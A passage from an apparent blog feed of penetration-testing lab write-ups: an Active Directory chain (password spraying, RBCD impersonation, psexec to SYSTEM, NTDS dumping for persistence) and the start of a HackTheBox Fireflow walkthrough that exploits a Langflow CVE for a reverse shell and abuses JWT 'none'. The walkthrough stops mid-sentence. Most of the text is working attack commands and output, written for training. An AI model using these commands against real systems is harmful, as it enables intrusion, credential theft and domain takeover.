account:<br>Username: aaron.brooks<br>Password: Aar0n!Brooks_Help26<br><br>Target:<br>\\DC01\LegacyMigration$<br><br>The credentials above were retained temporarily for<br>the migration window.</pre><p>The credentials belong to the <strong>aaron.brooks</strong> user. The target \\DC01\LegacyMigration$ appears to be a network share, likely accessible over SMB. We can use NetExec to confirm whether the share is accessible via SMB and verify the credentials.</p><pre>$ nxc smb cascadetrust.local -u &#39;aaron.brooks&#39; -p &#39;Aar0n!Brooks_Help26&#39; --shares<br>SMB         10.10.10.3      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:cascadetrust.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.10.10.3      445    DC01             [+] cascadetrust.local\aaron.brooks:Aar0n!Brooks_Help26 <br>SMB         10.10.10.3      445    DC01             [*] Enumerated shares<br>SMB         10.10.10.3      445    DC01             Share           Permissions     Remark<br>SMB         10.10.10.3      445    DC01             -----           -----------     ------<br>SMB         10.10.10.3      445    DC01             ADMIN$                          Remote Admin<br>SMB         10.10.10.3      445    DC01             C$                              Default share<br>SMB         10.10.10.3      445    DC01             IPC$            READ            Remote IPC<br>SMB         10.10.10.3      445    DC01             LegacyMigration$ READ            Legacy file migration staging area<br>SMB         10.10.10.3      445    DC01             NETLOGON        READ            Logon server share <br>SMB         10.10.10.3      445    DC01             SYSVOL          READ            Logon server share</pre><p>The credentials did work for the SMB service and we have Read access on <strong>LegacyMigration$</strong> share on the SMB instance. Let’s use smbclient to search through the share.</p><pre>$ smbclient //cascadetrust.local/LegacyMigration$ -U &#39;aaron.brooks&#39;<br>Password for [WORKGROUP\aaron.brooks]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Thu Sep 17 04:31:58 2026<br>  ..                                  D        0  Thu Sep 17 03:56:24 2026<br>  README.txt                          A      187  Thu Sep 17 03:56:33 2026<br>  USER.txt                            A       36  Thu Sep 17 04:08:54 2026<br><br>                12946687 blocks of size 4096. 9720641 blocks available</pre><p>There are only two text file in the share, I pulled both of them on my local attacking instance.</p><pre>$ cat README.txt <br>Cascade Systems Ltd.<br>Legacy Migration Staging<br><br>Migration completed.<br>No active files remain in this staging area.<br><br>For historical migration records, contact Infrastructure Operations.</pre><p>The ReadMe file did not contain any valuable information. However, we did find our first flag.</p><pre>$ cat USER.txt  <br>CASCADE{the_first_link_in_the_chain}</pre><p>After hitting a dead end with SMB, I enumerated other services to see if <strong>aaron.brooks’</strong> credentials could be used elsewhere, but found no additional access.</p><p>Password reuse is also common in corporate environments, where users may reuse the same password across multiple accounts. We can use NetExec to test whether <strong>aaron.brooks’</strong> password is also valid for any other domain users.</p><p>First, we’ll enumerate all domain users.</p><pre>$ nxc smb cascadetrust.local -u &#39;aaron.brooks&#39; -p &#39;Aar0n!Brooks_Help26&#39; --users<br>SMB         10.10.10.3      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:cascadetrust.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.10.10.3      445    DC01             [+] cascadetrust.local\aaron.brooks:Aar0n!Brooks_Help26 <br>SMB         10.10.10.3      445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               <br>SMB         10.10.10.3      445    DC01             Administrator                 2026-09-17 04:41:39 0       Built-in account for administering the computer/domain <br>SMB         10.10.10.3      445    DC01             Guest                         &lt;never&gt;             0       Built-in account for guest access to the computer/domain <br>SMB         10.10.10.3      445    DC01             krbtgt                        2026-09-16 17:01:58 0       Key Distribution Center Service Account <br>SMB         10.10.10.3      445    DC01             ethan.mercer                  2026-09-16 18:01:44 0       IT Operations <br>SMB         10.10.10.3      445    DC01             nathan.cole                   2026-09-16 23:13:27 0       Systems Administration <br>SMB         10.10.10.3      445    DC01             chloe.warren                  2026-09-16 17:35:33 0       Infrastructure Support <br>SMB         10.10.10.3      445    DC01             aaron.brooks                  2026-09-16 23:03:53 0       Helpdesk Analyst <br>SMB         10.10.10.3      445    DC01             sophia.grant                  2026-09-16 17:36:46 0       Finance Systems <br>SMB         10.10.10.3      445    DC01             [*] Enumerated 8 local users: CASCADE<br><br># Use the below command to make a list of users<br>$ nxc smb cascadetrust.local -u &#39;aaron.brooks&#39; -p &#39;Aar0n!Brooks_Help26&#39; --users | grep -E &#39;[0-9]{4}-[0-9]{2}-[0-9]{2}&#39; | awk &#39;{print $5}&#39;<br>Administrator<br>krbtgt<br>ethan.mercer<br>nathan.cole<br>chloe.warren<br>aaron.brooks<br>sophia.grant</pre><p>Copy the users to a file, we’ll use NetExec to test the password against all the users.</p><pre>$ nxc smb cascadetrust.local -u users -p &#39;Aar0n!Brooks_Help26&#39; --continue<br>SMB         10.10.10.3      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:cascadetrust.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>&lt; ... SNIP ... &gt;<br>SMB         10.10.10.3      445    DC01             [+] cascadetrust.local\nathan.cole:Aar0n!Brooks_Help26 <br>SMB         10.10.10.3      445    DC01             [-] cascadetrust.local\chloe.warren:Aar0n!Brooks_Help26 STATUS_LOGON_FAILURE <br>SMB         10.10.10.3      445    DC01             [+] cascadetrust.local\aaron.brooks:Aar0n!Brooks_Help26 <br>SMB         10.10.10.3      445    DC01             [-] cascadetrust.local\sophia.grant:Aar0n!Brooks_Help26 STATUS_LOGON_FAILURE </pre><p>The password worked for <strong>nathan.cole</strong> as well. Nathan has GenericWrite over <strong>DC01$</strong> which we discovered during our initial enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GVcBZPpO-KBayi76pBdV_g.png" /><figcaption>GenericWrite — DC01</figcaption></figure><h3>Resource-Based Contrained Delegation — RBCD</h3><p>Having <strong>GenericWrite</strong> permissions over the DC01 computer object allows us to perform a <strong>Resource-Based Constrained Delegation (RBCD)</strong> attack by modifying its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.</p><p>This attribute defines which security principals are allowed to act on behalf of other users when accessing the target computer. By modifying it, we can configure DC01 to trust a computer account that we control, allowing that account to impersonate users when authenticating to services on DC01.</p><p>A common way to abuse this is by creating a new computer account that we control. This is possible when the domain’s MachineAccountQuota is greater than zero, as it allows a regular domain user to create up to 10 computer accounts by default. The newly created computer account can then be configured as a trusted principal in DC01&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, enabling the RBCD attack. We will then abuse it further to impoersonate as Administrator.</p><h3>Privilege Escalation: nathan.cole → Administrator</h3><p>We can use maq module from NetExec to list the current MachineAccountQuota limit.</p><pre>$ nxc ldap cascadetrust.local -u nathan.cole  -p &#39;Aar0n!Brooks_Help26&#39; -M maq<br>LDAP        10.10.10.3      389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:cascadetrust.local) (signing:None) (channel binding:Never) <br>LDAP        10.10.10.3      389    DC01             [+] cascadetrust.local\nathan.cole:Aar0n!Brooks_Help26 <br>MAQ         10.10.10.3      389    DC01             [*] Getting the MachineAccountQuota<br>MAQ         10.10.10.3      389    DC01             MachineAccountQuota: 10</pre><p>From our attack chain earlier, we already compromised MS01$, we can either use that or create a new account to perform this attack. I’ll create a new one to show how it works. We’ll use <a href="https://github.com/fortra/impacket/blob/master/examples/addcomputer.py">addcomputer</a> python script from Impacket.</p><pre>$ impacket-addcomputer &#39;cascadetrust.local/nathan.cole:Aar0n!Brooks_Help26&#39; -computer-name &#39;CASCDEV$&#39; -computer-pass &#39;CascDev@2026!&#39; -dc-ip 10.10.10.3<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Successfully added machine account CASCDEV$ with password CascDev@2026!.</pre><p>The new computer is added successfully now we’ll modify the delegation rights, configuring RBCD on new computer account. We’ll use <a href="https://github.com/fortra/impacket/blob/master/examples/rbcd.py">rbcd</a> script from Impkacet for this step.</p><pre>$ impacket-rbcd -action write -delegate-from &#39;CASCDEV$&#39; -delegate-to &#39;DC01$&#39; -dc-ip 10.10.10.3 &#39;cascadetrust.local/nathan.cole:Aar0n!Brooks_Help26&#39;                                                                             <br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Accounts allowed to act on behalf of other identity:<br>[-] SID not found in LDAP: S-1-5-21-3578428872-1584047708-3989521478-1117<br>[*] Delegation rights modified successfully!<br>[*] CASCDEV$ can now impersonate users on DC01$ via S4U2Proxy<br>[*] Accounts allowed to act on behalf of other identity:<br>[-] SID not found in LDAP: S-1-5-21-3578428872-1584047708-3989521478-1117<br>[*]     CASCDEV$     (S-1-5-21-3578428872-1584047708-3989521478-1120)</pre><blockquote>We could set <em>-delegate-from</em> flag to <strong>MS01$</strong> to configure RBCD on <strong>MS01$</strong>.</blockquote><p>Now that the delegation rights are in place, we can use the computer account we control, such as CASCDEV$ or MS01$, to request a service ticket on behalf of the Administrator user.</p><p>Before doing so, it is important to understand that a Kerberos service ticket is issued for a <strong>specific service</strong>, not simply for the target computer. Therefore, we must specify which service running on DC01 we want to access. In this case, we will request a ticket for the CIFS service, which is used for SMB file sharing.</p><p>The resulting CIFS service ticket is valid for the CIFS service on DC01; it cannot be used to authenticate to other services running on the same computer, such as HTTP or LDAP. If we wanted to access one of those services, we would need to request a service ticket for the corresponding service principal.</p><p>To request the Administrator’s CIFS service ticket using RBCD, we will use Impacket’s <a href="https://github.com/fortra/impacket/blob/master/examples/getST.py">getST</a> script. The request is made using the computer account we control, such as CASCDEV$, which has been configured as a trusted principal for RBCD on DC01.</p><pre>$ impacket-getST -spn &#39;cifs/DC01.cascadetrust.local&#39; -impersonate Administrator -dc-ip 10.10.10.3 &#39;cascadetrust.local/CASCDEV$:CascDev@2026!&#39;<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[-] CCache file is not found. Skipping...<br>[*] Getting TGT for user<br>[*] Impersonating Administrator<br>[*] Requesting S4U2self<br>[*] Requesting S4U2Proxy<br>[*] Saving ticket in Administrator@cifs_DC01.cascadetrust.local@CASCADETRUST.LOCAL.ccache</pre><p>The Administrator user’s .ccache service ticket is stored locally. We can use the KRB5CCNAME environment variable to point Kerberos tools to this credential cache. Once set, klist can be used to display the tickets stored in the cache.</p><pre>export KRB5CCNAME=Administrator@cifs_DC01.cascadetrust.local@CASCADETRUST.LOCAL.ccache</pre><p>Once it’s set we can use <strong>klist</strong> command to list the tickets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*RVnQ32LfN2fXBEw_eshhBw.png" /><figcaption>Administrator ST for CIFS</figcaption></figure><p>Notice that the service principal in the ticket is CIFS. CIFS is the SMB file-sharing service, so the ticket is specifically for the SMB service running on DC01.</p><p>With a valid Administrator service ticket for CIFS on DC01, we can use tools such as <a href="https://github.com/fortra/impacket/blob/master/examples/psexec.py">psexec</a> from Impacket to authenticate to the SMB service and obtain an Administrator shell on DC01.</p><pre>$ impacket-psexec -k -no-pass &#39;cascadetrust.local/Administrator@DC01.cascadetrust.local&#39; <br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Requesting shares on DC01.cascadetrust.local.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file DBrYSquo.exe<br>[*] Opening SVCManager on DC01.cascadetrust.local.....<br>[*] Creating service NeHi on DC01.cascadetrust.local.....<br>[*] Starting service NeHi.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.20348.587]<br>(c) Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt; whoami<br>nt authority\system<br><br># Root flag<br>C:\Users\Administrator\Desktop&gt; more ROOT.txt<br>CASCADE{trust_is_only_as_strong_as_its_delegation}</pre><p>We now shell as nt authority\system which is highest privileges we can get.</p><h3>Kerberos Persistence</h3><p>For an attacker, and during a Red Team assessment, maintaining access while minimizing detection is an important objective. In this section, we’ll demonstrate one technique that can be used to establish persistent access within the domain.</p><p>Using the same Administrator service ticket, we can access the domain controller with sufficient privileges to dump the hashes from NTDS.dit, including the hash of the <strong>KRBTGT</strong> account.</p><p>The KRBTGT account is responsible for signing Kerberos Ticket Granting Tickets (TGTs). Compromising its NTLM hash can therefore allow an attacker to forge Kerberos authentication tickets, such as Golden Tickets, providing a powerful persistence mechanism within the domain.</p><p>For this reason, rotating the KRBTGT password is an important part of incident response after a domain compromise. A common recommendation is to reset it twice a year, allowing previously issued tickets to expire between resets.</p><p>We can use NetExec with the Administrator user’s imported .ccache file to authenticate to the domain controller over SMB and dump the NTDS database hashes.</p><pre>nxc smb cascadetrust.local --use-kcache --ntds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPVM1JRUHcVEIbF-Qdv9sQ.png" /><figcaption>Dumping NTDS</figcaption></figure><h3>Methodology &amp; Approach</h3><p>Let’s take this domain compromise as an example. Looking back at the attack chain, around 80% of the work was simply <strong>enumeration</strong>. We kept enumerating the environment, understanding what we found, and connecting the dots, and doing that properly is ultimately what led us to Administrator.</p><p>People often overcomplicate enumeration or underestimate its importance. This can sometimes make you feel like you’re not good enough because you haven’t immediately spotted the vulnerability. In reality, a large part of penetration testing is simply <strong>doing enumeration thoroughly and knowing what to look for</strong>.</p><p>Of course, having a deep understanding of how the underlying technologies work is extremely important. Without that knowledge, it becomes much harder to recognize when something is misconfigured or vulnerable. Over time, we can develop a methodology of our own, or follow established methodologies such as the <strong>Penetration Testing Execution Standard (PTES)</strong> or <strong>OWASP Web Security Testing Guide (WSTG)</strong>, depending on the type of assessment.</p><p>Once we have a structured methodology, enumeration becomes much easier to approach. Instead of randomly trying techniques, we have a process that tells us what to look at, what information to collect, and how to build upon each finding. Experience then makes that process even more effective.</p><p>The real fun begins when we have enough experience to look at an environment and start forming hypotheses about where a vulnerability might exist simply from the way it has been built or configured. Solving vulnerable lab environments played a huge role in developing this skill for me because they force you to repeatedly enumerate, form hypotheses, test them, fail, and try again.</p><p>Ultimately, there is no shortcut around enumeration. The better we understand the environment and the technologies behind it, the better we become at recognizing the small misconfigurations that can eventually turn into a complete attack path.</p><h3>Final Thoughts</h3><p>Thank you for reading! I hope this writeup was useful and gave you a better understanding of how the attack chain comes together in a real-world Active Directory environment.</p><p>I’ll be going much deeper into more advanced attacks and techniques in upcoming content, follow me and stay tuned for those.</p><p>If you found this helpful, leaving a clap or sharing your thoughts lets me know that the work was useful to you, and honestly, that makes my day.</p><p>Thanks for reading, and see you in the next one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cd1cdbcba59" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fireflow — HackTheBox Detailed Walkthrough]]></title>
            <link>https://medium.com/@bericontraster/fireflow-hackthebox-detailed-walkthrough-bbe5b45ab466?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbe5b45ab466</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[langflow]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 17:01:54 GMT</pubDate>
            <atom:updated>2026-08-19T17:01:54.592Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qtt6TW1-eHNku0zbeveUKw.png" /><figcaption>Fireflow — Cover Image</figcaption></figure><p>Today we will pwn <a href="https://app.hackthebox.com/machines/Fireflow">FireFlow</a> from <a href="https://app.hackthebox.com/">HackTheBox</a>. It’s a medium-difficulty Linux machine by <a href="https://app.hackthebox.com/users/123322">amra13579</a>.</p><h3>Machine Overview</h3><p><strong>Fireflow</strong> is a medium-difficulty Linux machine that demonstrates the risks of exposed application identifiers, credential reuse, and misconfigured Kubernetes RBAC permissions. Initial entry begins with locating a leaked Langflow flow_id, which allows an attacker to exploit <strong>CVE-2026-33017</strong> without authentication to execute code and obtain an initial footprint as the www-data user.</p><p>Lateral movement is achieved by inspecting the Langflow .env configuration file to recover a cleartext password. Due to credential reuse across local accounts, this password grants direct SSH access as the user nightfall. Further enumeration of nightfall&#39;s home directory reveals configuration details for a custom Model Context Protocol (MCP) server. By exploiting an authentication flaw where the server accepts JWTs with the None signing algorithm, an attacker can forge administrative tokens, register a custom malicious tool, and gain shell access inside the MCP pod container.</p><p>Privilege escalation to root on the underlying host involves enumerating the Kubernetes cluster RBAC configurations. With the nodes/proxy permission granted to the pod&#39;s service account, an attacker can issue requests to the Kubelet API to execute arbitrary commands within privileged pods, ultimately breaking out to access the host filesystem as root.</p><h3>Enumeration</h3><p>We’ll start with an nmap scan with script and version detection flags enabled.</p><pre>$ Nmap 7.99 scan initiated Thu Aug  6 15:10:40 2026 as: /usr/lib/nmap/nmap -sCV -oN default-scan 10.129.30.203<br>Nmap scan report for 10.129.30.203 (10.129.30.203)<br>Host is up (0.23s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT      STATE    SERVICE   VERSION<br>22/tcp    open     ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)<br>|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)<br>443/tcp   open     ssl/http  nginx<br>|_http-title: Did not follow redirect to https://fireflow.htb/<br>| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US<br>| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb<br>| Not valid before: 2026-04-14T16:35:31<br>|_Not valid after:  2028-07-17T16:35:31<br>| tls-alpn:<br>|   http/1.1<br>|   http/1.0<br>|_  http/0.9<br>|_ssl-date: TLS randomness does not represent time<br>9100/tcp  filtered jetdirect<br>30000/tcp filtered ndmps<br>30718/tcp filtered unknown<br>30951/tcp filtered unknown<br>31038/tcp filtered unknown<br>31337/tcp filtered Elite</pre><p>The above scan reveals a website running on port 443, which is being redirected to fireflow.htb. We’ll add the hostname IP to our /etc/hosts file for proper redirection.</p><pre>echo &quot;10.129.30.203 fireflow.htb&quot; &gt;&gt; /etc/hosts</pre><h4>Web Enumeration — NightFall AI Agent</h4><p>The website reveals it’s Nightfall’s internal intelligence automation platform. Creeping on the site did not yield anything useful.</p><figure><img alt="Fireflow static site on port 443" src="https://cdn-images-1.medium.com/max/1024/1*w1dgPtneVYsJnavft6aFWg.png" /><figcaption>Landing Page</figcaption></figure><p>But if we click on the Open Agent button, we get redirected to a different subdomain (flow.fireflow.htb) with an agent that is not fully set up yet, so it is not working. It does reveal that it’s built using Langflow with Flow engine version 1.8.2.</p><figure><img alt="fireflow site exposes flow engine version sa 1.8.2" src="https://cdn-images-1.medium.com/max/1024/1*URkRGkNIQuEvW1OPc_7qhQ.png" /><figcaption>Flow Engine 1.8.2</figcaption></figure><figure><img alt="agent is not working on langflow" src="https://cdn-images-1.medium.com/max/1024/1*TucF6cZWy8kr6xz7KNexXw.png" /><figcaption>Built with Langflow — flow.fireflow.htb</figcaption></figure><h3>Initial Access</h3><p>Searching for the Flow Engine version 1.8.2 vulnerabilities revealed an authenticated RCE — CVE-2026–33017.</p><h4><strong>Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint — CVE-2026-33017</strong></h4><blockquote>The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses <strong>attacker-controlled flow data</strong> (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. <a href="https://github.com/advisories/GHSA-vwmf-pq79-vjvx">Read More</a></blockquote><p>We will use the following <a href="https://github.com/EQSTLab/CVE-2026-33017.git">poc</a> from <a href="https://github.com/EQSTLab">ESATLab</a>. Let’s clone the repository.</p><pre>$ git clone https://github.com/EQSTLab/CVE-2026-33017.git</pre><p>We will pass the following arguments with the exploit. The flow-id can be found in the URL when we click on the Open agent button.</p><pre>$ python3 exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.84 --lport 8090<br>[*] Target: https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&amp;log_builds=false<br>[*] Callback: 10.10.16.84:8090<br>[*] Request returned no response (expected if shell connected): HTTPSConnectionPool(host=&#39;flow.fireflow.htb&#39;, port=443): Max retries exceeded with url: /api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&amp;log_builds=false (Caused by SSLError(SSLCertVerificationError(1, &#39;[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate (_ssl.c:1033)&#39;)))</pre><p>This is an SSL verification failure error. We will add the following line at the end of the exploit, where it makes a request to disable SSL verification.</p><figure><img alt="disabling ssl verification in expoitation script" src="https://cdn-images-1.medium.com/max/945/1*zBzXcUgUVNmUhVEd_6VOWw.png" /><figcaption>Disable SSL Verification</figcaption></figure><p>We will use the same command again to get a reverse shell as www-data. I used <a href="https://github.com/brightio/penelope.git">penelope</a> to catch the reverse shell. It automatically upgrades the shell.</p><figure><img alt="reverse shell as www-data on fireflox by exploiting Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint" src="https://cdn-images-1.medium.com/max/1024/1*jmnjw3TlJuKzEr7shSFzhA.png" /><figcaption>Reverse Shell — www-data</figcaption></figure><h3>Foothold — Nightfall User</h3><p>As www-data, I checked the directory we landed in with the reverse shell, but there was nothing in there. There has to be some password stored somewhere in langflow, so I used the find command to list all the langflow directories.</p><pre>www-data@fireflow:/var/lib/langflow$ find / -type d -name &quot;langflow&quot; 2&gt;/dev/null<br>/var/lib/langflow<br>/etc/langflow<br>/opt/langflow<br>/opt/langflow/venv/lib/python3.12/site-packages/astra_assistants/tools/langflow<br>/opt/langflow/venv/lib/python3.12/site-packages/langflow</pre><p>The second folder from the above output has a .env file, which revealed a password.</p><pre>www-data@fireflow:/var/lib/langflow$ ls -la /etc/langflow<br>total 12<br>drwxr-xr-x   2 root root     4096 May  7 23:30 .<br>drwxr-xr-x 117 root root     4096 May 12 15:56 ..<br>-rw-r-----   1 root www-data  337 May  7 23:30 .env<br><br>www-data@fireflow:/etc/langflow$ cat .env<br>LANGFLOW_AUTO_LOGIN=False<br>LANGFLOW_SUPERUSER=langflow<br>LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll<br>LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE<br>LANGFLOW_CONFIG_DIR=/var/lib/langflow<br>LANGFLOW_LOG_LEVEL=warning<br>LANGFLOW_NEW_USER_IS_ACTIVE=False<br>LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb</pre><p>We will try this password against the nightfall user.</p><pre>www-data@fireflow:/etc/langflow$ cat /etc/passwd | grep sh<br>root:x:0:0:root:/root:/bin/bash<br>fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin<br>sshd:x:109:65534::/run/sshd:/usr/sbin/nologin<br>nightfall:x:1000:1000::/home/nightfall:/bin/bash</pre><h4>SSH — Nightfall</h4><p>The password in the .env file worked.</p><pre># ssh nightfall@fireflow.htb<br>nightfall@fireflow.htb&#39;s password:<br>nightfall@fireflow:~$ id<br>uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)</pre><h4>Nightfall — User Flag</h4><pre>nightfall@fireflow:~$ cat user.txt<br>01b888a908cb418b9dc#############</pre><h3>Lateral Movement</h3><h4>Enumeration — MCP Configuration</h4><p>While enumerating Nightfall’s home directory, I found an MCP configuration JSON file.</p><pre>nightfall@fireflow:~$ find . -type f -ls<br>     2514      4 -rw-r--r--   1 nightfall nightfall      807 Mar 31  2024 ./.profile<br>      739      4 -rw-------   1 nightfall nightfall      146 Aug 19 09:49 ./.mcp/config.json<br>     2516      4 -rw-r--r--   1 nightfall nightfall      220 Mar 31  2024 ./.bash_logout<br>     2549      4 -rw-r--r--   1 nightfall nightfall     3771 Mar 31  2024 ./.bashrc<br>     2681      4 -rw-r-----   1 root      nightfall       33 Aug 19 09:49 ./user.txt<br>     6106      0 -rw-r--r--   1 nightfall nightfall        0 Apr 14 16:01 ./.cache/motd.legal-displayed</pre><p>The file revealed MCP server credentials and endpoints as well.</p><pre>nightfall@fireflow:~$ cat ./.mcp/config.json<br>{<br>  &quot;server&quot;: &quot;http://10.129.30.203:30080&quot;,<br>  &quot;status_endpoint&quot;: &quot;/api/v1/version&quot;,<br>  &quot;user&quot;: &quot;langflow-bot&quot;,<br>  &quot;password&quot;: &quot;Langfl0w@mcp2026!&quot;<br>}</pre><p>This intrigued me to take a look at the open ports.</p><pre>nightfall@fireflow:~$ netstat -tuln<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State      <br>tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:6444          0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10249         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10259         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10258         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10257         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10256         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:41079         0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:10010         0.0.0.0:*               LISTEN     <br>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     <br>tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.1:7860          0.0.0.0:*               LISTEN     <br>tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     <br>tcp6       0      0 :::10250                :::*                    LISTEN     <br>tcp6       0      0 :::22                   :::*                    LISTEN     <br>tcp6       0      0 :::6443                 :::*                    LISTEN     <br>tcp6       0      0 :::9100                 :::*                    LISTEN     <br>udp        0      0 127.0.0.54:53           0.0.0.0:*                          <br>udp        0      0 127.0.0.53:53           0.0.0.0:*                          <br>udp        0      0 0.0.0.0:68              0.0.0.0:*                          <br>udp        0      0 0.0.0.0:8472            0.0.0.0:*  </pre><p>The ports from the above output, like :::6443, :::10250 and a few other ports, indicated that it’s running Kubernetes. Because these ports are used by Kubernetes.</p><h4>MCP Exploitation — JWT None Abuse</h4><p>Now that we have the credentials, it won’t hurt to enumerate the endpoints as well from the configuration file.</p><blockquote><em>json.tool is a built-in Python command-line utility used to validate and pretty-print JSON data directly from your terminal. You can invoke it without writing any Python script by running </em><em>python -m json.tool</em></blockquote><pre>nightfall@fireflow:~$ curl -s http://localhost:30080/api/v1/version | python3 -m json.tool<br>{<br>    &quot;service&quot;: &quot;MCP AI Tool Registry&quot;,<br>    &quot;version&quot;: &quot;0.1.0&quot;,<br>    &quot;auth&quot;: {<br>        &quot;type&quot;: &quot;JWT&quot;,<br>        &quot;header&quot;: &quot;Authorization: Bearer &lt;token&gt;&quot;,<br>        &quot;supported_algorithms&quot;: [<br>            &quot;HS256&quot;,<br>            &quot;none&quot;<br>        ]<br>    },<br>    &quot;docs&quot;: &quot;/docs&quot;,<br>    &quot;endpoints&quot;: [<br>        &quot;POST /mcp                        [MCP JSON-RPC 2.0]&quot;,<br>        &quot;POST /api/v1/auth&quot;,<br>        &quot;GET  /api/v1/tools&quot;,<br>        &quot;POST /api/v1/tools               [admin]&quot;<br>    ]<br>}</pre><p>In the above output, note that the supported algorithm also says none, and we can see more endpoints as well, of which one of the endpoints requires admin permissions.</p><blockquote>The none algorithm in a JSON Web Token (JWT) is vulnerable because it instructs the server to skip signature verification entirely. <a href="https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported">Read More</a>.</blockquote><p>First, we will try with the credentials we found in the configuration file to see if this user has admin rights.</p><pre>nightfall@fireflow:~$ curl -s -X POST http://localhost:30080/api/v1/auth \<br>-H &#39;Content-Type: application/json&#39; \<br>-d &#39;{&quot;username&quot;:&quot;langflow-bot&quot;,&quot;password&quot;:&quot;Langfl0w@mcp2026!&quot;}&#39; | python3 -m json.tool<br><br>{<br>    &quot;access_token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps&quot;,<br>    &quot;token_type&quot;: &quot;bearer&quot;<br>}</pre><p>We received the token. Let’s decode it and view the role.</p><pre>nightfall@fireflow:~$ echo &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps&quot; | cut -d. -f2 | base64 -d 2&gt;/dev/null | python3 -m json.tool<br><br>{<br>    &quot;sub&quot;: &quot;langflow-bot&quot;,<br>    &quot;role&quot;: &quot;user&quot;<br>}</pre><p>The output confirms that this user’s role is not admin. It’s a simple user. We will abuse that none support to bypass signature verification and craft a custom JWT token with the 